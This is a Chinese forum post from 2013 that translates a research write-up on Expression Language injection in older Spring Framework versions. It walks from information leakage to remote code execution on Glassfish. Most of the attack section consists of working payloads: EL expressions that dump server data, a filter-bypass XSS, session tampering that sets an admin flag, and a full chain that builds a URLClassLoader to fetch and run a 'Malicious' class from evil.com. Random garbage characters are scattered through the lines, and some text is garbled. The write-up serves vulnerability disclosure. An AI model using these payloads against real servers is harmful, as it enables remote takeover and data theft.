找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2358|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
& X% H5 E" q/ _+ h1 y% M5 X4 OExpression Language Injection
3 c$ Y% |6 u  `Spring Framework脆弱性—DanAmodio  J5 p! N3 Z& \, b- t' k$ B) H1 p
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中9 b! p' |& R$ k: {2 N
可能会存在风险。
% U9 J& h; w3 T9 P1 n* |& Y) f: ^在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
2 u3 e( {0 E! n" u  bArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
) ]2 s) x, r. {6 {" I以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
# z1 L: v$ |% W6 w以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前9 X& q4 J+ i7 G" r# k* K
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
" ]2 e! r1 v2 X8 d  `- q由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但. N0 B3 r( j6 e/ y# o' L1 e2 a
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版5 X+ L* g% M) g, j0 E
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。' ~) z6 F) z7 E, W
这些版本不支持禁用double EL resolution.
$ g8 B6 j. z! Q$ S2 I这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含7 j8 h9 H/ V5 S4 Y
EL2.2容器上可能进行远程代码执行。
. b4 Q# ?( b: q! B这是一个原始信息泄露的攻击例子:, x* B0 y2 u/ ^
请求:
4 D8 _& _5 N; s9 rttp://vulnerable.com/foo?message=${applicationScope}
: M$ l5 V- ]5 y- C- ?6 y5 b到达以下内容页面:( n$ j+ O% p" q$ f0 M
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
, o% w* c# ~4 @- C你也可以做一些其他事情,如这样:) k" ~- e3 j! t: v2 ^& [$ ]
${9999+1}
% @* l2 i* u1 c7 X还可以访问session 对象和beans
% Y, _3 Q2 z. }) {+ N0 a2 Q${employee.lastName}
! L% p7 y' r& I0 o& b& t* i: S: ?在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
1 v4 s8 @  `$ m6 q' dEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
; |$ I& I4 w# h! A3 A* }9 ?西,比如XSS./ q# v# y2 P- l2 z9 m' O, E: v
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签  k% O, j( D) `
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
9 Y% L6 Z( _2 }4 S1 M; Z" T1 `呢?”2 }! `  e4 s7 z5 @1 R9 N! J
因此,我尝试巳缦拢�
8 E- c" L, x1 s1 ^* T' ?, \  r+ dhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
1 O' B! V- j- A/ |: MP. y0 R8 r. t1 D2 q9 w  W
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
4 ~  e; h% x- m6 G  E回的文本被插入进了spring:message 标签。
, U8 u8 b9 b: o1 }这里是一个最终绕过过滤的实例:
" R- v; `, I9 R% @http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ0 u$ J. k/ @" Y& r- \0 v0 o
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
) s1 W+ e& n* p2 W1 X什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
& _$ k' _& h) P/ I经过一番研究,我学习到EL2.2 增加了方法调用。
% f2 g5 _9 u" l1 k3 Q我写了一个快速测试应用程序代码并且检测一些功能
9 N2 ~# [! X1 i4 J9 f${pageContext.request.getSession().setAttribute(“account”,”123456″)}
& U: o& l- W$ T2 J${pageContext.request.getSession().setAttribute(“admin”,true)}# h. f9 }7 {  z- E9 n
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
  ?# J* X7 E) p5 ?9 ~& W, x; ?指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?( A! A" ?2 }4 q2 w/ Z, u
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.16 Q0 f# M& i: [; J% t
“, 1234)}
& p0 h; g+ M# j${“”.getClass().forName(“java.lang.Runtime”)}0 m8 Y8 U1 X+ C; D, y' d- x
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
. H9 S' `% h& L& v可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函3 S% F9 U$ c  S- B
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
! {+ e8 a0 T  V一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
: ^4 N( h/ K9 x; {9 C4 o方法签名invoke(Object obj, Object„ args)  _( _; o( n2 B0 l2 w* c
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问1 z/ e3 Q' U- r5 D2 ]) q
题,以让它可以工作起来。3 a7 r, G5 w3 S7 B  E
漏洞利用:" y7 [7 {1 y8 I1 R
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
) L1 o8 m* V: h+ B; B3 M" f希望你们中的一些JAVA奇才告诉我我是如此的可笑。
3 V; _' L& o: H& q这里有一些我试过的失败的用例,为了试图让它工作的用例:. c8 \" t2 G) }2 O
 写文件到文件系统
( c2 |3 Q! s7 a1 N 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
6 e, h: ~1 A6 B- J' y4 _4 z5 a我认为这些可以很好的工作,但是我不能找到合适的类来载入。7 H( f4 U6 f) R6 q2 r5 F- s
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
" F) y0 H8 \1 K& m0 L6 ~javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:* U0 I5 q1 d: P9 n+ [
org.springframework.expression.spel.standard.SpelExpressionParser not found8 K, O, o& M3 E! t" @3 a' i
by$ c3 p" ?$ ^- v8 N, W. l
org.glassfish.web.javax.servlet.jsp [194].
+ F, F' \3 n, v, Y 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
; H" M3 }- l7 b/ G 利用反射来创建一个新的Runtime(and watch the world burn)5 y9 s) \  Z+ G6 X6 R& p! j
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName6 @  S- B; D2 S6 Z
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
: _' Y( Y4 n: I* f8 i${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}) V9 C' l1 J3 `8 @8 b
 使用java.lang.ProcessBuilder- M; V- S2 N* ^3 P+ i; A0 ]$ k' F+ e
 用表达式语言来评估表达式语言# @3 P/ F. B8 w; |$ A8 Z2 V8 B: C  b
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
+ E) O1 E. l1 j# ?${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request( ^- A! {" W8 I: C) _# E* u. p
“,”".getClass(),null)}
5 J$ p1 I9 ^  h/ M. B( v 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂). X! E1 s) U, X/ B2 i: k& L6 V+ w
我在使用一个空数组通过Method.invoke()时失败了很多次
- o4 S3 R* l/ z* m& P0 T“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo/ _* ]# j/ S# _
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A! z7 _' C& I) i- t$ |2 }- }5 [9 o% s
rrayList”).newInstance().toArray())
# ]3 i4 o# x1 z1 i# z6 Q) D  Cjava.lang.IllegalArgumentException: wrong number of arguments; c8 A) T+ W7 n, L' T* R3 S" C# E
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可$ x7 n  Q4 i% H+ k' y
以创建一个恶意class文件并且指向类装载器.6 O$ |' j7 [  T* W
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
& H" n0 T0 p2 ^( G# Wpublic class Malicious {
1 l. Q9 z# U7 j1 E4 Y+ O2 V# bpublic Malicious() {8 A& p1 C  |# S" W( ~6 l. S  I
try {
+ ~+ I! V8 _9 y" @) Fjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
* e' K4 b7 z& y8 yjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win- W! m  h; M! Y2 z
} catch (Exception e) {( q& t9 U# }8 n" }3 q) z9 t6 ]; P# X0 e
}5 ^* V5 ~5 Z4 k$ R! H: E7 _
}
# n$ g: D7 a7 X6 l我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
& e7 y: E3 Q- M0 V, d/ E2 J话中,因此它可以被使用.
+ x# ?$ X3 x3 O8 n$ [& P! Z% O${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName7 D! s) `1 T% q! y9 M. u, v5 b
(“java.util.ArrayList”).newInstance())}
/ r7 d4 v4 {, M4 QURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建/ Z; I, U  F, V2 c* t
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和5 P9 V- T+ k- S
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
2 Q! a8 L  {4 M! _我们可以调用的create(string)方法,然后转换对一个URL对象。+ H- f) ]/ v$ x! A7 \
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh9 _4 i2 F" g- h5 e# D
ere/malicious/classfile/is/located/”).toURL())}2 g! S, |0 _3 }
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,& S' r7 g. Z- m, {  m( P( P* O
恶意类文件被装载并创建,触发远程代码.
. }- ^! b' b# P, p% W${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte3 E* Z$ S" J( V
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
, F- u  O3 Z( A" c# P; a3 @4 @% p' _getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance8 [2 i9 O$ V# N6 c: `
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表